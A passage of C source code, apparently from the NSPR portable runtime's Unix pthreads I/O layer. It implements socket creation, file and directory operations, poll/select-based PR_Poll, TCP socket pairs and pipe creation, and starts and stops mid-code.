}; static PRIOMethods _pr_socketpollfd_methods = { (PRDescType) 0, (PRCloseFN)_PR_InvalidStatus, (PRReadFN)_PR_InvalidInt, (PRWriteFN)_PR_InvalidInt, (PRAvailableFN)_PR_InvalidInt, (PRAvailable64FN)_PR_InvalidInt64, (PRFsyncFN)_PR_InvalidStatus, (PRSeekFN)_PR_InvalidInt, (PRSeek64FN)_PR_InvalidInt64, (PRFileInfoFN)_PR_InvalidStatus, (PRFileInfo64FN)_PR_InvalidStatus, (PRWritevFN)_PR_InvalidInt, (PRConnectFN)_PR_InvalidStatus, (PRAcceptFN)_PR_InvalidDesc, (PRBindFN)_PR_InvalidStatus, (PRListenFN)_PR_InvalidStatus, (PRShutdownFN)_PR_InvalidStatus, (PRRecvFN)_PR_InvalidInt, (PRSendFN)_PR_InvalidInt, (PRRecvfromFN)_PR_InvalidInt, (PRSendtoFN)_PR_InvalidInt, pt_Poll, (PRAcceptreadFN)_PR_InvalidInt, (PRTransmitfileFN)_PR_InvalidInt, (PRGetsocknameFN)_PR_InvalidStatus, (PRGetpeernameFN)_PR_InvalidStatus, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt, (PRGetsocketoptionFN)_PR_InvalidStatus, (PRSetsocketoptionFN)_PR_InvalidStatus, (PRSendfileFN)_PR_InvalidInt, (PRConnectcontinueFN)_PR_InvalidStatus, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt }; #if defined(HPUX) || defined(OSF1) || defined(SOLARIS) || defined (IRIX) \ || defined(LINUX) || defined(__GNU__) || defined(__GLIBC__) \ || defined(AIX) || defined(FREEBSD) || defined(NETBSD) \ || defined(OPENBSD) || defined(BSDI) || defined(NTO) \ || defined(DARWIN) || defined(UNIXWARE) || defined(RISCOS) \ || defined(SYMBIAN) #define _PR_FCNTL_FLAGS O_NONBLOCK #else #error "Can't determine architecture" #endif /* * Put a Unix file descriptor in non-blocking mode. */ static void pt_MakeFdNonblock(PRIntn osfd) { PRIntn flags; flags = fcntl(osfd, F_GETFL, 0); flags |= _PR_FCNTL_FLAGS; (void)fcntl(osfd, F_SETFL, flags); } /* * Put a Unix socket fd in non-blocking mode that can * ideally be inherited by an accepted socket. * * Why doesn't pt_MakeFdNonblock do? This is to deal with * the special case of HP-UX. HP-UX has three kinds of * non-blocking modes for sockets: the fcntl() O_NONBLOCK * and O_NDELAY flags and ioctl() FIOSNBIO request. Only * the ioctl() FIOSNBIO form of non-blocking mode is * inherited by an accepted socket. * * Other platforms just use the generic pt_MakeFdNonblock * to put a socket in non-blocking mode. */ #ifdef HPUX static void pt_MakeSocketNonblock(PRIntn osfd) { PRIntn one = 1; (void)ioctl(osfd, FIOSNBIO, &one); } #else #define pt_MakeSocketNonblock pt_MakeFdNonblock #endif static PRFileDesc *pt_SetMethods( PRIntn osfd, PRDescType type, PRBool isAcceptedSocket, PRBool imported) { PRFileDesc *fd = _PR_Getfd(); if (fd == NULL) PR_SetError(PR_OUT_OF_MEMORY_ERROR, 0); else { fd->secret->md.osfd = osfd; fd->secret->state = _PR_FILEDESC_OPEN; if (imported) fd->secret->inheritable = _PR_TRI_UNKNOWN; else { /* By default, a Unix fd is not closed on exec. */ #ifdef DEBUG PRIntn flags; flags = fcntl(osfd, F_GETFD, 0); PR_ASSERT(0 == flags); #endif fd->secret->inheritable = _PR_TRI_TRUE; } switch (type) { case PR_DESC_FILE: fd->methods = PR_GetFileMethods(); break; case PR_DESC_SOCKET_TCP: fd->methods = PR_GetTCPMethods(); #ifdef _PR_ACCEPT_INHERIT_NONBLOCK if (!isAcceptedSocket) pt_MakeSocketNonblock(osfd); #else pt_MakeSocketNonblock(osfd); #endif break; case PR_DESC_SOCKET_UDP: fd->methods = PR_GetUDPMethods(); pt_MakeFdNonblock(osfd); break; case PR_DESC_PIPE: fd->methods = PR_GetPipeMethods(); pt_MakeFdNonblock(osfd); break; default: break; } } return fd; } /* pt_SetMethods */ PR_IMPLEMENT(const PRIOMethods*) PR_GetFileMethods(void) { return &_pr_file_methods; } /* PR_GetFileMethods */ PR_IMPLEMENT(const PRIOMethods*) PR_GetPipeMethods(void) { return &_pr_pipe_methods; } /* PR_GetPipeMethods */ PR_IMPLEMENT(const PRIOMethods*) PR_GetTCPMethods(void) { return &_pr_tcp_methods; } /* PR_GetTCPMethods */ PR_IMPLEMENT(const PRIOMethods*) PR_GetUDPMethods(void) { return &_pr_udp_methods; } /* PR_GetUDPMethods */ static const PRIOMethods* PR_GetSocketPollFdMethods(void) { return &_pr_socketpollfd_methods; } /* PR_GetSocketPollFdMethods */ PR_IMPLEMENT(PRFileDesc*) PR_AllocFileDesc( PRInt32 osfd, const PRIOMethods *methods) { PRFileDesc *fd = _PR_Getfd(); if (NULL == fd) goto failed; fd->methods = methods; fd->secret->md.osfd = osfd; /* Make fd non-blocking */ if (osfd > 2) { /* Don't mess around with stdin, stdout or stderr */ if (&_pr_tcp_methods == methods) pt_MakeSocketNonblock(osfd); else pt_MakeFdNonblock(osfd); } fd->secret->state = _PR_FILEDESC_OPEN; fd->secret->inheritable = _PR_TRI_UNKNOWN; return fd; failed: PR_SetError(PR_OUT_OF_MEMORY_ERROR, 0); return fd; } /* PR_AllocFileDesc */ #if !defined(_PR_INET6) || defined(_PR_INET6_PROBE) PR_EXTERN(PRStatus) _pr_push_ipv6toipv4_layer(PRFileDesc *fd); #if defined(_PR_INET6_PROBE) extern PRBool _pr_ipv6_is_present(void); PR_IMPLEMENT(PRBool) _pr_test_ipv6_socket() { PRInt32 osfd; #if defined(DARWIN) /* * Disable IPv6 if Darwin version is less than 7.0.0 (OS X 10.3). IPv6 on * lesser versions is not ready for general use (see bug 222031). */ { struct utsname u; if (uname(&u) != 0 || atoi(u.release) < 7) return PR_FALSE; } #endif /* * HP-UX only: HP-UX IPv6 Porting Guide (dated February 2001) * suggests that we call open("/dev/ip6", O_RDWR) to determine * whether IPv6 APIs and the IPv6 stack are on the system. * Our portable test below seems to work fine, so I am using it. */ osfd = socket(AF_INET6, SOCK_STREAM, 0); if (osfd != -1) { close(osfd); return PR_TRUE; } return PR_FALSE; } #endif /* _PR_INET6_PROBE */ #endif PR_IMPLEMENT(PRFileDesc*) PR_Socket(PRInt32 domain, PRInt32 type, PRInt32 proto) { PRIntn osfd; PRDescType ftype; PRFileDesc *fd = NULL; PRInt32 tmp_domain = domain; if (!_pr_initialized) _PR_ImplicitInitialization(); if (pt_TestAbort()) return NULL; if (PF_INET != domain && PR_AF_INET6 != domain && PF_UNIX != domain) { PR_SetError(PR_ADDRESS_NOT_SUPPORTED_ERROR, 0); return fd; } if (type == SOCK_STREAM) ftype = PR_DESC_SOCKET_TCP; else if (type == SOCK_DGRAM) ftype = PR_DESC_SOCKET_UDP; else { (void)PR_SetError(PR_ADDRESS_NOT_SUPPORTED_ERROR, 0); return fd; } #if defined(_PR_INET6_PROBE) if (PR_AF_INET6 == domain) domain = _pr_ipv6_is_present() ? AF_INET6 : AF_INET; #elif defined(_PR_INET6) if (PR_AF_INET6 == domain) domain = AF_INET6; #else if (PR_AF_INET6 == domain) domain = AF_INET; #endif osfd = socket(domain, type, proto); if (osfd == -1) pt_MapError(_PR_MD_MAP_SOCKET_ERROR, errno); else { #ifdef _PR_IPV6_V6ONLY_PROBE if ((domain == AF_INET6) && _pr_ipv6_v6only_on_by_default) { int on = 0; (void)setsockopt(osfd, IPPROTO_IPV6, IPV6_V6ONLY, &on, sizeof(on)); } #endif fd = pt_SetMethods(osfd, ftype, PR_FALSE, PR_FALSE); if (fd == NULL) close(osfd); } #ifdef _PR_NEED_SECRET_AF if (fd != NULL) fd->secret->af = domain; #endif #if defined(_PR_INET6_PROBE) || !defined(_PR_INET6) if (fd != NULL) { /* * For platforms with no support for IPv6 * create layered socket for IPv4-mapped IPv6 addresses */ if (PR_AF_INET6 == tmp_domain && PR_AF_INET == domain) { if (PR_FAILURE == _pr_push_ipv6toipv4_layer(fd)) { PR_Close(fd); fd = NULL; } } } #endif return fd; } /* PR_Socket */ /*****************************************************************************/ /****************************** I/O public methods ***************************/ /*****************************************************************************/ PR_IMPLEMENT(PRFileDesc*) PR_OpenFile( const char *name, PRIntn flags, PRIntn mode) { PRFileDesc *fd = NULL; PRIntn syserrno, osfd = -1, osflags = 0;; if (!_pr_initialized) _PR_ImplicitInitialization(); if (pt_TestAbort()) return NULL; if (flags & PR_RDONLY) osflags |= O_RDONLY; if (flags & PR_WRONLY) osflags |= O_WRONLY; if (flags & PR_RDWR) osflags |= O_RDWR; if (flags & PR_APPEND) osflags |= O_APPEND; if (flags & PR_TRUNCATE) osflags |= O_TRUNC; if (flags & PR_EXCL) osflags |= O_EXCL; if (flags & PR_SYNC) { #if defined(O_SYNC) osflags |= O_SYNC; #elif defined(O_FSYNC) osflags |= O_FSYNC; #else #error "Neither O_SYNC nor O_FSYNC is defined on this platform" #endif } /* ** We have to hold the lock across the creation in order to ** enforce the sematics of PR_Rename(). (see the latter for ** more details) */ if (flags & PR_CREATE_FILE) { osflags |= O_CREAT; if (NULL !=_pr_rename_lock) PR_Lock(_pr_rename_lock); } osfd = _md_iovector._open64(name, osflags, mode); syserrno = errno; if ((flags & PR_CREATE_FILE) && (NULL !=_pr_rename_lock)) PR_Unlock(_pr_rename_lock); if (osfd == -1) pt_MapError(_PR_MD_MAP_OPEN_ERROR, syserrno); else { fd = pt_SetMethods(osfd, PR_DESC_FILE, PR_FALSE, PR_FALSE); if (fd == NULL) close(osfd); /* $$$ whoops! this is bad $$$ */ } return fd; } /* PR_OpenFile */ PR_IMPLEMENT(PRFileDesc*) PR_Open(const char *name, PRIntn flags, PRIntn mode) { return PR_OpenFile(name, flags, mode); } /* PR_Open */ PR_IMPLEMENT(PRStatus) PR_Delete(const char *name) { PRIntn rv = -1; if (!_pr_initialized) _PR_ImplicitInitialization(); if (pt_TestAbort()) return PR_FAILURE; rv = unlink(name); if (rv == -1) { pt_MapError(_PR_MD_MAP_UNLINK_ERROR, errno); return PR_FAILURE; } else return PR_SUCCESS; } /* PR_Delete */ PR_IMPLEMENT(PRStatus) PR_Access(const char *name, PRAccessHow how) { PRIntn rv; if (pt_TestAbort()) return PR_FAILURE; switch (how) { case PR_ACCESS_READ_OK: rv = access(name, R_OK); break; case PR_ACCESS_WRITE_OK: rv = access(name, W_OK); break; case PR_ACCESS_EXISTS: default: rv = access(name, F_OK); } if (0 == rv) return PR_SUCCESS; pt_MapError(_PR_MD_MAP_ACCESS_ERROR, errno); return PR_FAILURE; } /* PR_Access */ PR_IMPLEMENT(PRStatus) PR_GetFileInfo(const char *fn, PRFileInfo *info) { PRInt32 rv = _PR_MD_GETFILEINFO(fn, info); return (0 == rv) ? PR_SUCCESS : PR_FAILURE; } /* PR_GetFileInfo */ PR_IMPLEMENT(PRStatus) PR_GetFileInfo64(const char *fn, PRFileInfo64 *info) { PRInt32 rv; if (!_pr_initialized) _PR_ImplicitInitialization(); rv = _PR_MD_GETFILEINFO64(fn, info); return (0 == rv) ? PR_SUCCESS : PR_FAILURE; } /* PR_GetFileInfo64 */ PR_IMPLEMENT(PRStatus) PR_Rename(const char *from, const char *to) { PRIntn rv = -1; if (pt_TestAbort()) return PR_FAILURE; /* ** We have to acquire a lock here to stiffle anybody trying to create ** a new file at the same time. And we have to hold that lock while we ** test to see if the file exists and do the rename. The other place ** where the lock is held is in PR_Open() when possibly creating a ** new file. */ PR_Lock(_pr_rename_lock); rv = access(to, F_OK); if (0 == rv) { PR_SetError(PR_FILE_EXISTS_ERROR, 0); rv = -1; } else { rv = rename(from, to); if (rv == -1) pt_MapError(_PR_MD_MAP_RENAME_ERROR, errno); } PR_Unlock(_pr_rename_lock); return (-1 == rv) ? PR_FAILURE : PR_SUCCESS; } /* PR_Rename */ PR_IMPLEMENT(PRStatus) PR_CloseDir(PRDir *dir) { if (pt_TestAbort()) return PR_FAILURE; if (NULL != dir->md.d) { if (closedir(dir->md.d) == -1) { _PR_MD_MAP_CLOSEDIR_ERROR(errno); return PR_FAILURE; } dir->md.d = NULL; PR_DELETE(dir); } return PR_SUCCESS; } /* PR_CloseDir */ PR_IMPLEMENT(PRStatus) PR_MakeDir(const char *name, PRIntn mode) { PRInt32 rv = -1; if (pt_TestAbort()) return PR_FAILURE; /* ** This lock is used to enforce rename semantics as described ** in PR_Rename. */ if (NULL !=_pr_rename_lock) PR_Lock(_pr_rename_lock); rv = mkdir(name, mode); if (-1 == rv) pt_MapError(_PR_MD_MAP_MKDIR_ERROR, errno); if (NULL !=_pr_rename_lock) PR_Unlock(_pr_rename_lock); return (-1 == rv) ? PR_FAILURE : PR_SUCCESS; } /* PR_Makedir */ PR_IMPLEMENT(PRStatus) PR_MkDir(const char *name, PRIntn mode) { return PR_MakeDir(name, mode); } /* PR_Mkdir */ PR_IMPLEMENT(PRStatus) PR_RmDir(const char *name) { PRInt32 rv; if (pt_TestAbort()) return PR_FAILURE; rv = rmdir(name); if (0 == rv) { return PR_SUCCESS; } else { pt_MapError(_PR_MD_MAP_RMDIR_ERROR, errno); return PR_FAILURE; } } /* PR_Rmdir */ PR_IMPLEMENT(PRDir*) PR_OpenDir(const char *name) { DIR *osdir; PRDir *dir = NULL; if (pt_TestAbort()) return dir; osdir = opendir(name); if (osdir == NULL) pt_MapError(_PR_MD_MAP_OPENDIR_ERROR, errno); else { dir = PR_NEWZAP(PRDir); if (dir) dir->md.d = osdir; else (void)closedir(osdir); } return dir; } /* PR_OpenDir */ static PRInt32 _pr_poll_with_poll( PRPollDesc *pds, PRIntn npds, PRIntervalTime timeout) { PRInt32 ready = 0; /* * For restarting poll() if it is interrupted by a signal. * We use these variables to figure out how much time has * elapsed and how much of the timeout still remains. */ PRIntervalTime start, elapsed, remaining; if (pt_TestAbort()) return -1; if (0 == npds) PR_Sleep(timeout); else { #define STACK_POLL_DESC_COUNT 64 struct pollfd stack_syspoll[STACK_POLL_DESC_COUNT]; struct pollfd *syspoll; PRIntn index, msecs; if (npds <= STACK_POLL_DESC_COUNT) { syspoll = stack_syspoll; } else { PRThread *me = PR_GetCurrentThread(); if (npds > me->syspoll_count) { PR_Free(me->syspoll_list); me->syspoll_list = (struct pollfd*)PR_MALLOC(npds * sizeof(struct pollfd)); if (NULL == me->syspoll_list) { me->syspoll_count = 0; PR_SetError(PR_OUT_OF_MEMORY_ERROR, 0); return -1; } me->syspoll_count = npds; } syspoll = me->syspoll_list; } for (index = 0; index < npds; ++index) { PRInt16 in_flags_read = 0, in_flags_write = 0; PRInt16 out_flags_read = 0, out_flags_write = 0; if ((NULL != pds[index].fd) && (0 != pds[index].in_flags)) { if (pds[index].in_flags & PR_POLL_READ) { in_flags_read = (pds[index].fd->methods->poll)( pds[index].fd, pds[index].in_flags & ~PR_POLL_WRITE, &out_flags_read); } if (pds[index].in_flags & PR_POLL_WRITE) { in_flags_write = (pds[index].fd->methods->poll)( pds[index].fd, pds[index].in_flags & ~PR_POLL_READ, &out_flags_write); } if ((0 != (in_flags_read & out_flags_read)) || (0 != (in_flags_write & out_flags_write))) { /* this one is ready right now */ if (0 == ready) { /* * We will return without calling the system * poll function. So zero the out_flags * fields of all the poll descriptors before * this one. */ int i; for (i = 0; i < index; i++) { pds[i].out_flags = 0; } } ready += 1; pds[index].out_flags = out_flags_read | out_flags_write; } else { /* now locate the NSPR layer at the bottom of the stack */ PRFileDesc *bottom = PR_GetIdentitiesLayer( pds[index].fd, PR_NSPR_IO_LAYER); PR_ASSERT(NULL != bottom); /* what to do about that? */ pds[index].out_flags = 0; /* pre-condition */ if ((NULL != bottom) && (_PR_FILEDESC_OPEN == bottom->secret->state)) { if (0 == ready) { syspoll[index].fd = bottom->secret->md.osfd; syspoll[index].events = 0; if (in_flags_read & PR_POLL_READ) { pds[index].out_flags |= _PR_POLL_READ_SYS_READ; syspoll[index].events |= POLLIN; } if (in_flags_read & PR_POLL_WRITE) { pds[index].out_flags |= _PR_POLL_READ_SYS_WRITE; syspoll[index].events |= POLLOUT; } if (in_flags_write & PR_POLL_READ) { pds[index].out_flags |= _PR_POLL_WRITE_SYS_READ; syspoll[index].events |= POLLIN; } if (in_flags_write & PR_POLL_WRITE) { pds[index].out_flags |= _PR_POLL_WRITE_SYS_WRITE; syspoll[index].events |= POLLOUT; } if (pds[index].in_flags & PR_POLL_EXCEPT) syspoll[index].events |= POLLPRI; } } else { if (0 == ready) { int i; for (i = 0; i < index; i++) { pds[i].out_flags = 0; } } ready += 1; /* this will cause an abrupt return */ pds[index].out_flags = PR_POLL_NVAL; /* bogii */ } } } else { /* make poll() ignore this entry */ syspoll[index].fd = -1; syspoll[index].events = 0; pds[index].out_flags = 0; } } if (0 == ready) { switch (timeout) { case PR_INTERVAL_NO_WAIT: msecs = 0; break; case PR_INTERVAL_NO_TIMEOUT: msecs = -1; break; default: msecs = PR_IntervalToMilliseconds(timeout); start = PR_IntervalNow(); } retry: ready = poll(syspoll, npds, msecs); if (-1 == ready) { PRIntn oserror = errno; if (EINTR == oserror) { if (timeout == PR_INTERVAL_NO_TIMEOUT) goto retry; else if (timeout == PR_INTERVAL_NO_WAIT) ready = 0; /* don't retry, just time out */ else { elapsed = (PRIntervalTime) (PR_IntervalNow() - start); if (elapsed > timeout) ready = 0; /* timed out */ else { remaining = timeout - elapsed; msecs = PR_IntervalToMilliseconds(remaining); goto retry; } } } else { _PR_MD_MAP_POLL_ERROR(oserror); } } else if (ready > 0) { for (index = 0; index < npds; ++index) { PRInt16 out_flags = 0; if ((NULL != pds[index].fd) && (0 != pds[index].in_flags)) { if (0 != syspoll[index].revents) { if (syspoll[index].revents & POLLIN) { if (pds[index].out_flags & _PR_POLL_READ_SYS_READ) { out_flags |= PR_POLL_READ; } if (pds[index].out_flags & _PR_POLL_WRITE_SYS_READ) { out_flags |= PR_POLL_WRITE; } } if (syspoll[index].revents & POLLOUT) { if (pds[index].out_flags & _PR_POLL_READ_SYS_WRITE) { out_flags |= PR_POLL_READ; } if (pds[index].out_flags & _PR_POLL_WRITE_SYS_WRITE) { out_flags |= PR_POLL_WRITE; } } if (syspoll[index].revents & POLLPRI) out_flags |= PR_POLL_EXCEPT; if (syspoll[index].revents & POLLERR) out_flags |= PR_POLL_ERR; if (syspoll[index].revents & POLLNVAL) out_flags |= PR_POLL_NVAL; if (syspoll[index].revents & POLLHUP) out_flags |= PR_POLL_HUP; } } pds[index].out_flags = out_flags; } } } } return ready; } /* _pr_poll_with_poll */ #if defined(_PR_POLL_WITH_SELECT) /* * OSF1 and HPUX report the POLLHUP event for a socket when the * shutdown(SHUT_WR) operation is called for the remote end, even though * the socket is still writeable. Use select(), instead of poll(), to * workaround this problem. */ static PRInt32 _pr_poll_with_select( PRPollDesc *pds, PRIntn npds, PRIntervalTime timeout) { PRInt32 ready = 0; /* * For restarting select() if it is interrupted by a signal. * We use these variables to figure out how much time has * elapsed and how much of the timeout still remains. */ PRIntervalTime start, elapsed, remaining; if (pt_TestAbort()) return -1; if (0 == npds) PR_Sleep(timeout); else { #define STACK_POLL_DESC_COUNT 64 int stack_selectfd[STACK_POLL_DESC_COUNT]; int *selectfd; fd_set rd, wr, ex, *rdp = NULL, *wrp = NULL, *exp = NULL; struct timeval tv, *tvp; PRIntn index, msecs, maxfd = 0; if (npds <= STACK_POLL_DESC_COUNT) { selectfd = stack_selectfd; } else { PRThread *me = PR_GetCurrentThread(); if (npds > me->selectfd_count) { PR_Free(me->selectfd_list); me->selectfd_list = (int *)PR_MALLOC(npds * sizeof(int)); if (NULL == me->selectfd_list) { me->selectfd_count = 0; PR_SetError(PR_OUT_OF_MEMORY_ERROR, 0); return -1; } me->selectfd_count = npds; } selectfd = me->selectfd_list; } FD_ZERO(&rd); FD_ZERO(&wr); FD_ZERO(&ex); for (index = 0; index < npds; ++index) { PRInt16 in_flags_read = 0, in_flags_write = 0; PRInt16 out_flags_read = 0, out_flags_write = 0; if ((NULL != pds[index].fd) && (0 != pds[index].in_flags)) { if (pds[index].in_flags & PR_POLL_READ) { in_flags_read = (pds[index].fd->methods->poll)( pds[index].fd, pds[index].in_flags & ~PR_POLL_WRITE, &out_flags_read); } if (pds[index].in_flags & PR_POLL_WRITE) { in_flags_write = (pds[index].fd->methods->poll)( pds[index].fd, pds[index].in_flags & ~PR_POLL_READ, &out_flags_write); } if ((0 != (in_flags_read & out_flags_read)) || (0 != (in_flags_write & out_flags_write))) { /* this one is ready right now */ if (0 == ready) { /* * We will return without calling the system * poll function. So zero the out_flags * fields of all the poll descriptors before * this one. */ int i; for (i = 0; i < index; i++) { pds[i].out_flags = 0; } } ready += 1; pds[index].out_flags = out_flags_read | out_flags_write; } else { /* now locate the NSPR layer at the bottom of the stack */ PRFileDesc *bottom = PR_GetIdentitiesLayer( pds[index].fd, PR_NSPR_IO_LAYER); PR_ASSERT(NULL != bottom); /* what to do about that? */ pds[index].out_flags = 0; /* pre-condition */ if ((NULL != bottom) && (_PR_FILEDESC_OPEN == bottom->secret->state)) { if (0 == ready) { PRBool add_to_rd = PR_FALSE; PRBool add_to_wr = PR_FALSE; PRBool add_to_ex = PR_FALSE; selectfd[index] = bottom->secret->md.osfd; if (in_flags_read & PR_POLL_READ) { pds[index].out_flags |= _PR_POLL_READ_SYS_READ; add_to_rd = PR_TRUE; } if (in_flags_read & PR_POLL_WRITE) { pds[index].out_flags |= _PR_POLL_READ_SYS_WRITE; add_to_wr = PR_TRUE; } if (in_flags_write & PR_POLL_READ) { pds[index].out_flags |= _PR_POLL_WRITE_SYS_READ; add_to_rd = PR_TRUE; } if (in_flags_write & PR_POLL_WRITE) { pds[index].out_flags |= _PR_POLL_WRITE_SYS_WRITE; add_to_wr = PR_TRUE; } if (pds[index].in_flags & PR_POLL_EXCEPT) { add_to_ex = PR_TRUE; } if ((selectfd[index] > maxfd) && (add_to_rd || add_to_wr || add_to_ex)) { maxfd = selectfd[index]; /* * If maxfd is too large to be used with * select, fall back to calling poll. */ if (maxfd >= FD_SETSIZE) break; } if (add_to_rd) { FD_SET(bottom->secret->md.osfd, &rd); rdp = &rd; } if (add_to_wr) { FD_SET(bottom->secret->md.osfd, &wr); wrp = &wr; } if (add_to_ex) { FD_SET(bottom->secret->md.osfd, &ex); exp = &ex; } } } else { if (0 == ready) { int i; for (i = 0; i < index; i++) { pds[i].out_flags = 0; } } ready += 1; /* this will cause an abrupt return */ pds[index].out_flags = PR_POLL_NVAL; /* bogii */ } } } else { pds[index].out_flags = 0; } } if (0 == ready) { if (maxfd >= FD_SETSIZE) { /* * maxfd too large to be used with select, fall back to * calling poll */ return(_pr_poll_with_poll(pds, npds, timeout)); } switch (timeout) { case PR_INTERVAL_NO_WAIT: tv.tv_sec = 0; tv.tv_usec = 0; tvp = &tv; break; case PR_INTERVAL_NO_TIMEOUT: tvp = NULL; break; default: msecs = PR_IntervalToMilliseconds(timeout); tv.tv_sec = msecs/PR_MSEC_PER_SEC; tv.tv_usec = (msecs % PR_MSEC_PER_SEC) * PR_USEC_PER_MSEC; tvp = &tv; start = PR_IntervalNow(); } retry: ready = select(maxfd + 1, rdp, wrp, exp, tvp); if (-1 == ready) { PRIntn oserror = errno; if ((EINTR == oserror) || (EAGAIN == oserror)) { if (timeout == PR_INTERVAL_NO_TIMEOUT) goto retry; else if (timeout == PR_INTERVAL_NO_WAIT) ready = 0; /* don't retry, just time out */ else { elapsed = (PRIntervalTime) (PR_IntervalNow() - start); if (elapsed > timeout) ready = 0; /* timed out */ else { remaining = timeout - elapsed; msecs = PR_IntervalToMilliseconds(remaining); tv.tv_sec = msecs/PR_MSEC_PER_SEC; tv.tv_usec = (msecs % PR_MSEC_PER_SEC) * PR_USEC_PER_MSEC; goto retry; } } } else if (EBADF == oserror) { /* find all the bad fds */ ready = 0; for (index = 0; index < npds; ++index) { pds[index].out_flags = 0; if ((NULL != pds[index].fd) && (0 != pds[index].in_flags)) { if (fcntl(selectfd[index], F_GETFL, 0) == -1) { pds[index].out_flags = PR_POLL_NVAL; ready++; } } } } else _PR_MD_MAP_SELECT_ERROR(oserror); } else if (ready > 0) { for (index = 0; index < npds; ++index) { PRInt16 out_flags = 0; if ((NULL != pds[index].fd) && (0 != pds[index].in_flags)) { if (FD_ISSET(selectfd[index], &rd)) { if (pds[index].out_flags & _PR_POLL_READ_SYS_READ) { out_flags |= PR_POLL_READ; } if (pds[index].out_flags & _PR_POLL_WRITE_SYS_READ) { out_flags |= PR_POLL_WRITE; } } if (FD_ISSET(selectfd[index], &wr)) { if (pds[index].out_flags & _PR_POLL_READ_SYS_WRITE) { out_flags |= PR_POLL_READ; } if (pds[index].out_flags & _PR_POLL_WRITE_SYS_WRITE) { out_flags |= PR_POLL_WRITE; } } if (FD_ISSET(selectfd[index], &ex)) out_flags |= PR_POLL_EXCEPT; } pds[index].out_flags = out_flags; } } } } return ready; } /* _pr_poll_with_select */ #endif /* _PR_POLL_WITH_SELECT */ PR_IMPLEMENT(PRInt32) PR_Poll( PRPollDesc *pds, PRIntn npds, PRIntervalTime timeout) { #if defined(_PR_POLL_WITH_SELECT) return(_pr_poll_with_select(pds, npds, timeout)); #else return(_pr_poll_with_poll(pds, npds, timeout)); #endif } PR_IMPLEMENT(PRDirEntry*) PR_ReadDir(PRDir *dir, PRDirFlags flags) { struct dirent *dp; if (pt_TestAbort()) return NULL; for (;;) { errno = 0; dp = readdir(dir->md.d); if (NULL == dp) { pt_MapError(_PR_MD_MAP_READDIR_ERROR, errno); return NULL; } if ((flags & PR_SKIP_DOT) && ('.' == dp->d_name[0]) && (0 == dp->d_name[1])) continue; if ((flags & PR_SKIP_DOT_DOT) && ('.' == dp->d_name[0]) && ('.' == dp->d_name[1]) && (0 == dp->d_name[2])) continue; if ((flags & PR_SKIP_HIDDEN) && ('.' == dp->d_name[0])) continue; break; } dir->d.name = dp->d_name; return &dir->d; } /* PR_ReadDir */ PR_IMPLEMENT(PRFileDesc*) PR_NewUDPSocket(void) { PRIntn domain = PF_INET; return PR_Socket(domain, SOCK_DGRAM, 0); } /* PR_NewUDPSocket */ PR_IMPLEMENT(PRFileDesc*) PR_NewTCPSocket(void) { PRIntn domain = PF_INET; return PR_Socket(domain, SOCK_STREAM, 0); } /* PR_NewTCPSocket */ PR_IMPLEMENT(PRFileDesc*) PR_OpenUDPSocket(PRIntn af) { return PR_Socket(af, SOCK_DGRAM, 0); } /* PR_NewUDPSocket */ PR_IMPLEMENT(PRFileDesc*) PR_OpenTCPSocket(PRIntn af) { return PR_Socket(af, SOCK_STREAM, 0); } /* PR_NewTCPSocket */ PR_IMPLEMENT(PRStatus) PR_NewTCPSocketPair(PRFileDesc *fds[2]) { #ifdef SYMBIAN /* * For the platforms that don't have socketpair. * * Copied from prsocket.c, with the parameter f[] renamed fds[] and the * _PR_CONNECT_DOES_NOT_BIND code removed. */ PRFileDesc *listenSock; PRNetAddr selfAddr, peerAddr; PRUint16 port; fds[0] = fds[1] = NULL; listenSock = PR_NewTCPSocket(); if (listenSock == NULL) { goto failed; } PR_InitializeNetAddr(PR_IpAddrLoopback, 0, &selfAddr); /* BugZilla: 35408 */ if (PR_Bind(listenSock, &selfAddr) == PR_FAILURE) { goto failed; } if (PR_GetSockName(listenSock, &selfAddr) == PR_FAILURE) { goto failed; } port = ntohs(selfAddr.inet.port); if (PR_Listen(listenSock, 5) == PR_FAILURE) { goto failed; } fds[0] = PR_NewTCPSocket(); if (fds[0] == NULL) { goto failed; } PR_InitializeNetAddr(PR_IpAddrLoopback, port, &selfAddr); /* * Only a thread is used to do the connect and accept. * I am relying on the fact that PR_Connect returns * successfully as soon as the connect request is put * into the listen queue (but before PR_Accept is called). * This is the behavior of the BSD socket code. If * connect does not return until accept is called, we * will need to create another thread to call connect. */ if (PR_Connect(fds[0], &selfAddr, PR_INTERVAL_NO_TIMEOUT) == PR_FAILURE) { goto failed; } /* * A malicious local process may connect to the listening * socket, so we need to verify that the accepted connection * is made from our own socket fds[0]. */ if (PR_GetSockName(fds[0], &selfAddr) == PR_FAILURE) { goto failed; } fds[1] = PR_Accept(listenSock, &peerAddr, PR_INTERVAL_NO_TIMEOUT); if (fds[1] == NULL) { goto failed; } if (peerAddr.inet.port != selfAddr.inet.port) { /* the connection we accepted is not from fds[0] */ PR_SetError(PR_INSUFFICIENT_RESOURCES_ERROR, 0); goto failed; } PR_Close(listenSock); return PR_SUCCESS; failed: if (listenSock) { PR_Close(listenSock); } if (fds[0]) { PR_Close(fds[0]); } if (fds[1]) { PR_Close(fds[1]); } return PR_FAILURE; #else PRInt32 osfd[2]; if (pt_TestAbort()) return PR_FAILURE; if (socketpair(AF_UNIX, SOCK_STREAM, 0, osfd) == -1) { pt_MapError(_PR_MD_MAP_SOCKETPAIR_ERROR, errno); return PR_FAILURE; } fds[0] = pt_SetMethods(osfd[0], PR_DESC_SOCKET_TCP, PR_FALSE, PR_FALSE); if (fds[0] == NULL) { close(osfd[0]); close(osfd[1]); return PR_FAILURE; } fds[1] = pt_SetMethods(osfd[1], PR_DESC_SOCKET_TCP, PR_FALSE, PR_FALSE); if (fds[1] == NULL) { PR_Close(fds[0]); close(osfd[1]); return PR_FAILURE; } return PR_SUCCESS; #endif } /* PR_NewTCPSocketPair */ PR_IMPLEMENT(PRStatus) PR_CreatePipe( PRFileDesc **readPipe, PRFileDesc **writePipe ) { int pipefd[2]; if (pt_TestAbort()) return PR_FAILURE; if (pipe(pipefd) == -1) { /* XXX map pipe error */ PR_SetError(PR_UNKNOWN_ERROR, errno); return PR_FAILURE; } *readPipe = pt_SetMethods(pipefd[0], PR_DESC_PIPE, PR_FALSE, PR_FALSE); if (NULL == *readPipe) { close(pipefd[0]); close(pipefd[1]); return PR_FAILURE; } 